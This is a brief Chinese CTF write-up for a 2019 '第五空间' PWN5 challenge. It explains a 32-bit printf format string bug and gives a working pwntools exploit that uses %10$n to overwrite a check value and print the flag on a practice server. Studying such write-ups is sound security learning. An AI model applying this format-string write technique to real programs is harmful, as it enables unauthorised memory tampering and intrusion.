[第五空间2019 决赛]PWN5 1 wp

此题32位格式化字符串
ida可以看出限制输入长度,没法正常溢出

由伪代码可知判断第二次输入和0x804C044处值相等即可输出flag.txt,但此处值为随机
但是存在printf(buf)意味着存在格式化字符串漏洞,于是可以修改0x804C044处的值来达到目的
32位存放参数在栈中,我们可以在第一次输入时计算出printf的offset

由图可知offset为10,A的ASCII为41,41414141出现在第十个%x处
根据覆盖内存地址格式

可以编写exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
# io=process("./[第五空间2019 决赛]PWN5")
io=remote("node4.buuoj.cn",26596)
bc_addr=0x804C044 #覆写地址
payload=p32(bc_addr)+b"%10$n" #offset测算为10
io.sendline(payload)
io.sendline(b"4") #0x804C044 8位16进制数占用4bytes
io.interactive()